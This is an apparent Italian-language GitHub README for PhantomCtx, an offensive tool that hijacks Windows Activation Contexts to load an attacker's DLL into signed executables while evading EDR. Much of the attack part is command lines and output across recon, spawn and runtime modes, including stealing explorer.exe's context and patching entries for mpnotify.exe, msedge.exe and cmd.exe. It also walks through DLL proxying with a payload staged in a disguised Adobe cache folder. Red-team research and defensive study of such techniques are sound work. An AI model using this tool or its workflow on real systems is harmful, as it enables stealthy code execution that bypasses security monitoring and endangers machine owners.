r3xmax/phantomctxStrumento di evasione per l'hijacking del contesto di attivazione
PhantomCtx è uno strumento che automatizza l'hijacking del contesto di attivazione con l'obiettivo di caricare una DLL arbitraria nella stragrande maggioranza degli eseguibili firmati (es. Microsoft, Adobe, Mozilla).
Il loader si presenta come un'alternativa moderna al tradizionale DLL Hijacking & Sideloading: a differenza degli approcci convenzionali, non richiede un binario vulnerabile. La tecnica può essere eseguita fintanto che l'eseguibile target risolve una DLL tramite la propria Import Address Table (IAT) o, nel peggiore dei casi, tramite LoadLibrary senza un percorso assoluto.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage: PhantomCtx.exe -m [MODE] [OPTIONS]
Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.
-m spawn Perform Activation Context Hijacking using an on-disk executable
(preferably a signed binary for OPSEC purposes).
-m runtime Perform Activation Context Hijacking on an already running process.
Per un approfondimento su come funziona internamente e su come elude le soluzioni EDR aggressive, consulta il post sul [mio blog tecnico](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).
# Table of Contents
- [Meccanismo interno](#internal-mechanism)
- [Un nuovo metodo per l'hijacking dell'Activation Context incentrato sull'evasione EDR](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [Come compilare](#how-to-compile)
- [Utilizzo: flusso di lavoro basato su moduli](#usage-module-based-workflow)
- [Recon](#recon)
- [Spawn (consigliato)](#spawn-recommended)
- [Runtime](#runtime)
- [Esempio: Activation Context Hijacking + DLL Proxying mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [Disclaimer](#disclaimer)
- [Riferimenti](#references)
# Meccanismo interno
`PhantomCtx` abusa di una funzionalità Windows **legittima** presente nella maggior parte dei processi, chiamata **Activation Contexts**. Secondo Microsoft:
>[_Activation contexts_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) sono strutture dati in memoria che contengono informazioni che il sistema può utilizzare per reindirizzare un'applicazione **a caricare una particolare versione di una DLL**, un'istanza di oggetto COM, o una versione personalizzata di una finestra...
Quando il Windows Loader risolve una DLL (tramite `LoadLibrary` o la tabella di importazione), segue un ordine di risoluzione definito:
1. Reindirizzamento DLL
2. API sets
3. **Reindirizzamento del manifest SxS**
4. Elenco dei moduli caricati
5. DLL note
6. Grafo delle dipendenze del pacchetto del processo
7 – 12. Ordine di ricerca standard dei file su disco
`PhantomCtx` prende di mira il passaggio 3: **reindirizzamento del manifest SxS**. Gli Activation Contexts derivano da file [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) associati agli eseguibili, tipicamente incorporati nei binari PE. Internamente, un Activation Context contiene una **Table of Contents (ToC)** che indicizza più sezioni, inclusa la **sezione di reindirizzamento DLL**. Il Loader accede tipicamente agli Activation Contexts tramite `PEB.ActivationContextData`.
La ricerca di [Kurosh Dabbagh Escalante](https://github.com/Kudaes) ha dimostrato che un Activation Context dannoso può essere costruito usando `CreateActCtxW`, scritto in memoria `RW` in un processo target, e poi attivato sovrascrivendo `PEB.ActivationContextData` per puntare alla struttura creata.
Una volta effettuato l'hijacking, il loader risolve i reindirizzamenti DLL definiti all'interno dell'Activation Context dannoso, **reindirizzando la risoluzione delle librerie** verso percorsi controllati dall'attaccante.
Il loader chiamato `Eclipse`, sviluppato nell'ambito della sua ricerca, si trova nel suo [repository ufficiale](https://github.com/Kudaes/Eclipse).
## Un nuovo metodo per l'hijacking dell'Activation Context incentrato sull'evasione EDR
Dopo numerosi test, `Eclipse` è stato rilevato da EDR aggressivi come Elastic nei seguenti punti:
- `Potential Suspended Process Code Injection`: creazione di un processo sospeso seguita da `NtWriteVirtualMemory` per copiare il blob AC nel processo remoto.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` senza `CreateProcess` nello stack di chiamate e un modulo a bassa reputazione, necessario per sovrascrivere `PEB.ActivationContextData`.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` senza `CreateProcess` nello stack di chiamate, limitato a binari installati dal sistema o dall'utente.
Dopo un giorno di ricerca per trovare approcci alternativi da implementare in `PhantomCtx`, ho scoperto che **la regione di memoria dell'Activation Context originale è una vista di sezione mappata durante la creazione del processo**. È possibile **unmappare questa vista di sezione usando** `NtUnmapViewOfSection` e quindi creare una nuova vista di sezione read-only supportata dal nostro Activation Context dannoso, mappandola allo **stesso identico indirizzo di memoria** in cui risiedeva quella originale.
Di conseguenza, non è **più necessario** che il loader sovrascriva il puntatore `PEB.ActivationContextData`. Questo elimina la necessità di usare `NtAllocateVirtualMemory` e `NtWriteVirtualMemory`, bypassando tutte le regole di monitoraggio EDR relative alle scritture di memoria nei processi remoti e all'iniezione.
Inoltre, per aumentare la difficoltà di rilevamento, `PhantomCtx` non usa `CreateActCtxW`, eliminando la necessità di gestire i file `.manifest` durante l'attacco. A seconda della modalità selezionata, può **rubare l'Activation Context da un altro processo remoto** contenente una sezione di reindirizzamento DLL valida usando `NtReadVirtualMemory`, ricostruire localmente le voci di reindirizzamento DLL, patcharlo e quindi sostituire l'originale.
# Come compilare
Per compilare il tool, si consiglia di usare Visual Studio o un compilatore compatibile.
Se si usa VS, aprire il `x64 Native Tools Command Prompt for VS`, spostarsi nella directory root del progetto e compilarlo con `compile.bat`:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe
Lo strumento è progettato con un'architettura modulare per semplificare lo sviluppo e fornire all'operatore un flusso di lavoro chiaro e basato su passaggi.
Ogni modulo svolge un ruolo specifico all'interno del flusso di lavoro di sfruttamento.
Ti preghiamo di dedicare un momento alla revisione dello scopo di ciascuno per sfruttare appieno le capacità dello strumento!!!
L'attacco può essere eseguito sia su un processo da avviare (consigliato) sia su un processo già in esecuzione. Lo strumento è progettato per gestire entrambi gli scenari.```c C:\PhantomCtx\x64>.\PhantomCtx.exe
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage: PhantomCtx.exe -m [MODE] [OPTIONS]
Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.
-m spawn Perform Activation Context Hijacking using an on-disk executable
(preferably a signed binary for OPSEC purposes).
-m runtime Perform Activation Context Hijacking on an already running process.
## Recon
La modalità `recon` si concentra sull'analisi del contesto di attivazione del programma target o del processo in esecuzione. È il primo modulo che dovrebbe essere eseguito, poiché determina quale sottomodulo di sfruttamento utilizzare nel flusso di lavoro di exploitazione.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]
Submodes:
-s spawn Spawn a process in suspended mode to retrieve its
Activation Context DLL redirection information.
-s runtime Attach to a currently running process to retrieve its
Activation Context DLL redirection information.
Examples:
PhantomCtx.exe -m recon -s spawn -p C:\path\to\target.exe
PhantomCtx.exe -m recon -s runtime -p target.exe
Come esempio, utilizziamo il binario Microsoft firmato mpnotify.exe. Il primo passo è determinare se contiene un Activation Context valido con una sezione di reindirizzamento DLL.
In caso contrario, lo strumento consiglia il sottomodulo steal-context nelle modalità spawn o runtime, che recupera un Activation Context da un altro processo contenente una sezione di reindirizzamento valida.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe"
[SUCCESS] Suspended process created...
[SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)
+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from
Se il programma o processo di destinazione presenta un Activation Context con una sezione valida di reindirizzamento DLL, l'approccio più efficiente è utilizzare i sottomoduli `add-entry` o `patch-entry` all'interno delle modalità di sfruttamento `spawn` o `runtime`.
## Spawn (consigliato)
La modalità `spawn` è progettata per eseguire l'hijacking dell'Activation Context avviando un processo da un eseguibile firmato sul sistema di destinazione.
Questo metodo è il **più raccomandato** e testato approfonditamente, grazie alla sua semplicità operativa e affidabilità.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage:
PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]
Submodes:
-s steal-context Spawn a process and hijack its Activation Context
by stealing the context from another running process.
-s add-entry Spawn a process and hijack its Activation Context
by adding a new DLL redirection entry.
-s patch-entry Spawn a process and hijack its Activation Context
by patching the path of an existing DLL redirection entry.
Options:
-p <PATH> Path to the target executable to spawn.
-d <DLL> Name of the DLL to hijack (e.g. comctl32.dll).
--dll-path <PATH> Path to the custom DLL to load.
steal-context Options:
--steal-from <NAME> Process name to steal the Activation Context from.
Examples:
PhantomCtx.exe -m spawn -s steal-context -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m spawn -s add-entry -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
PhantomCtx.exe -m spawn -s patch-entry -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
Il flusso di lavoro interno di questa modalità è il seguente:
CreateProcessW.steal-context: Aprire il processo da cui rubare il contesto e copiare un Activation Context valido contenente una sezione di reindirizzamento DLL in un buffer locale. A seconda che esista già una voce per la DLL di destinazione, viene creata una nuova voce oppure viene applicata una patch a una voce esistente. L'Activation Context modificato viene quindi mappato nel processo sospeso, sostituendo quello originale.
add-entry: Aprire il processo del programma sospeso e copiarne l'Activation Context in un buffer locale. Viene aggiunta una nuova voce di reindirizzamento DLL per la DLL specificata e l'Activation Context modificato sostituisce quello originale.
patch-entry: Aprire il processo del programma sospeso e copiarne l'Activation Context in un buffer locale. La voce di reindirizzamento DLL esistente per la DLL specificata viene patchata per puntare al percorso della DLL payload fornito, e l'Activation Context modificato sostituisce quello originale.
ResumeThread.Il sottomodulo steal-context è consigliato quando l'eseguibile di destinazione non contiene un Activation Context valido o una sezione di reindirizzamento DLL valida. Questo può essere determinato utilizzando il modulo recon eseguito in precedenza.
Un target affidabile per il furto del contesto è explorer.exe. Questo non introduce instabilità né rischi di rilevamento, poiché l'operazione prevede solo la lettura della memoria virtuale.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll
[SUCCESS] Found 'explorer.exe' PID 1604
[SUCCESS] Opened handle to PID 1604
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes)
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll'
[+] 'advapi32.dll' not found -> adding new entry.
[ADD] DLL key : advapi32.dll
[ADD] Redirect path : C:\hijack\hijack.dll
[ADD] PseudoKey : 0xF60E87FC
[ADD] RosterIndex : 1
[ADD] ElementCount : 3
[ADD] TotalSize : 0x2040 -> 0x20E4
[SUCCESS] Blob patched. New TotalSize = 0x20E4
[INFO] Patched ActivationContextData: | | +--[ DLL REDIRECTION ] 3 entries | | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | +--[ END ]
[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` I sottomoduli `add-entry` e `patch-entry` vengono utilizzati quando **l'applicazione ha già un Activation Context valido con una sezione di reindirizzamento DLL** e:patch-entry è l'opzione appropriata.add-entry.Sebbene steal-context possa essere ancora utilizzato in questi scenari, generalmente non è necessario, poiché è già disponibile un Activation Context valido da modificare.
Un esempio di patch-entry può essere osservato dopo aver enumerato msedge.exe con PhantomCtx, dove viene identificata una voce di reindirizzamento personalizzata esistente per msedge_elf.dll:```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
[INFO] Patched ActivationContextData:
| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` In alternativa, enumerando l'IAT del processo di destinazione, è possibile identificare DLL importate adatte per l'hijacking. Ad esempio, `librewolf.exe` importa `SHLWAPI.dll` anche se non è presente nel manifest dell'Activation Context; in tali casi, può essere aggiunta alla tabella di reindirizzamento per forzare la risoluzione.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll[INFO] Patched ActivationContextData:
| +--[ DLL REDIRECTION ] 4 entries | [00] SHLWAPI.dll | PseudoKey : 0x65C6D010 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | ``` ## RuntimeLa modalità runtime è progettata per eseguire il dirottamento dell'Activation Context su un processo firmato e già in esecuzione.
Sebbene questo modulo sia implementato, la sua efficacia dipende dalla capacità di sapere con precisione quando e quale libreria specifica viene caricata durante il runtime del processo. Di conseguenza, anche se l'Activation Context del processo legittimo viene dirottato, il successo dipende ancora dal fatto che il target chiami LoadLibrary senza un percorso esplicito, cosa che spesso è difficile da prevedere.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h
+----------------------------------+
| PhantomCtx v1.0 |
+----------------------------------+
Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]
Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.
-s add-entry Hijack the Activation Context of a running process
by adding a new DLL redirection entry.
-s patch-entry Hijack the Activation Context of a running process
by patching the path of an existing DLL redirection entry.
Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.
steal-context Options: --steal-from Process name to steal the Activation Context from.
Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll
Il flusso di lavoro interno di questa modalità è il seguente:
1. Il PID del processo di destinazione viene identificato dal nome del suo eseguibile e il processo viene aperto con i permessi `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. A seconda del sottomodulo selezionato:
- `steal-context`: apre il processo che ruba il contesto e copia un Activation Context valido contenente una sezione di reindirizzamento DLL in un buffer locale. A seconda che esista già una voce per la DLL di destinazione, viene creata una nuova voce oppure viene patchata quella esistente. L'Activation Context modificato viene quindi mappato nel processo in esecuzione, sostituendo quello originale.
- `add-entry`: apre il processo di destinazione in esecuzione e copia il suo Activation Context in un buffer locale. Viene aggiunta una nuova voce di reindirizzamento DLL per la DLL specificata e l'Activation Context modificato sostituisce quello originale.
- `patch-entry`: apre il processo di destinazione in esecuzione e copia il suo Activation Context in un buffer locale. La voce di reindirizzamento DLL esistente per la DLL specificata viene patchata per puntare alla DLL payload fornita e l'Activation Context aggiornato sostituisce quello originale.
Il sottomodulo `steal-context` è consigliato quando **il processo di destinazione in esecuzione non contiene un Activation Context valido o una sezione di reindirizzamento DLL valida**. Questo può essere determinato utilizzando il modulo `recon` eseguito in precedenza.
Un obiettivo affidabile per il furto del contesto è `explorer.exe`. Questo non introduce instabilità o rischio di rilevamento, poiché l'operazione comporta solo la lettura della memoria virtuale.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll
<SNIP>
[INFO] Patched ActivationContextData:
<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
| [00] user32.dll
| PseudoKey : 0x0DB00860
| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.
I sottomoduli add-entry e patch-entry vengono utilizzati quando il processo in esecuzione dispone già di un contesto di attivazione valido con una sezione di reindirizzamento DLL e:
patch-entry è l'opzione appropriata.add-entry.Sebbene steal-context possa ancora essere utilizzato in questi scenari, generalmente non è necessario, poiché è già disponibile un contesto di attivazione valido da modificare.
Un esempio di patch-entry può essere osservato dopo aver enumerato il processo msedge.exe con PhantomCtx, dove viene identificata una voce di reindirizzamento personalizzata esistente per msedge_elf.dll:```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll
[INFO] Patched ActivationContextData:
| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` In alternativa, enumerando gli eventi di runtime del processo target, le DLL caricate durante l'esecuzione adatte all'hijacking possono essere identificate utilizzando strumenti come `Procmon`. In tali casi, può essere aggiunta alla tabella di reindirizzamento per forzare la risoluzione.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll[INFO] Patched ActivationContextData:
| +--[ DLL REDIRECTION ] 4 entries | [00] target.dll | PseudoKey : 0x2D1B25C7 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` # Esempio: hijacking del contesto di attivazione + DLL proxying 'mpnotify.exe'Osserviamo un caso d'uso pratico in cui PhantomCtx rimane non rilevabile su una macchina Windows 11 completamente aggiornata su cui è in esecuzione l'agente Elastic Cloud XDR con tutte le regole abilitate e impostate in modalità Prevent per renderlo il più aggressivo possibile.
Si noti che prenderemo di mira i binari di Windows 11; pertanto, se la nostra macchina attaccante esegue Windows 10, dobbiamo trasferire sulla nostra macchina gli eseguibili e le DLL analizzate.
Il primo passo è identificare un eseguibile Windows che importa DLL rilevanti.
In questo caso, useremo PE-Bear per ispezionare la Import Address Table (IAT) dell'eseguibile firmato C:\Windows\System32\mpnotify.exe, dove ADVAPI32.dll può essere identificata come una delle sue importazioni:
Per evitare che l'applicazione vada in crash o mostri un comportamento inatteso durante il caricamento del nostro payload, è necessario ricorrere al DLL proxying, in modo che il nostro payload inoltri le chiamate alla DLL originale.
DLL Export Viewer verrà utilizzato per estrarre tutte le funzioni esportate da ADVAPI32.dll e generare le direttive di forwarding che saranno specificate nel codice sorgente della nostra DLL proxy.
Una volta aperto C:\Windows\System32\advapi32.dll in DLL Export Viewer, passare a View > HTML Report - All Functions.
È necessario tenere aperta la finestra del browser affinché il file report.html generato rimanga disponibile. Il percorso del file viene quindi copiato ed elaborato utilizzando il seguente script Python sviluppato da itm4n:```python
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from future import print_function
import argparse
def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report
try:
f = open(report)
page = f.readlines()
f.close()
except:
print("[-] ERROR: open('%s')" % report)
return
for line in page:
if line.startswith("<tr>"):
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
function_name = cols[1]
ordinal = cols[4].split(' ')[0]
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if name == 'main': main()
Mostreremo i risultati.```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>
All exports from the output are copied into the source code of payload.c, after which the DLL is compiled and placed alongside PhantomCtx on the attacker machine, along with a copy of the original library renamed advapi32_orig.dll.
The required files must be organized as follows:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir
06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe
I file vengono quindi trasferiti in una directory sulla macchina di destinazione Windows 11. In questo caso, vengono rilasciati in:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache
Successivamente, l'Activation Context Hijacking viene eseguito contro il binario mpnotify.exe utilizzando PhantomCtx:```c
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll"
[SUCCESS] Found 'explorer.exe' PID 6380
[SUCCESS] Opened handle to PID 6380
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes)
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll'
[+] 'advapi32.dll' not found -> adding new entry.
[ADD] DLL key : advapi32.dll
[ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll
[ADD] PseudoKey : 0xF60E87FC
[ADD] RosterIndex : 1
[ADD] ElementCount : 3
[ADD] TotalSize : 0x2054 -> 0x2166
[SUCCESS] Blob patched. New TotalSize = 0x2166
[INFO] Patched ActivationContextData:
+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x2166 (8550 bytes) | Flags : 0x00000000 | +--[ TOC ] 9 entries | [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC | [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection | [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8 | [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028 | [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028 | [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028 | [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028 | [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120 | [08] Id=11 Format=1 Offset=0x204C Length=0x0008 | +--[ DLL REDIRECTION ] 3 entries | [00] comctl32.dll.mui | PseudoKey : 0xBBF34EA2 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [01] comctl32.dll | PseudoKey : 0xF1C4BC4F | RosterIdx : 2 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=150 bytes | Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll | +--[ END ]
[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.
In questo caso, la DLL del payload esegue `calc.exe`. Non sono stati generati avvisi.
# Dichiarazione di non responsabilità
Questo strumento è stato sviluppato per **scopi educativi personali** ed è destinato esclusivamente
a professionisti della sicurezza e operatori red team che lavorano in **ambienti autorizzati**.
L'uso di PhantomCtx contro sistemi senza permesso esplicito è **illegale** e
severamente vietato. L'autore non si assume alcuna responsabilità per un uso improprio o danni causati
da questo strumento.
# Riferimenti
- [Activation Context Hijack di Kurosh Dabbagh - Navaja Conference](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Activation Context Hijack ‘Eclipse’ Loader](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [Codice sorgente di ReactOS](https://github.com/reactos/reactos)
- [Libro Windows Internals](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)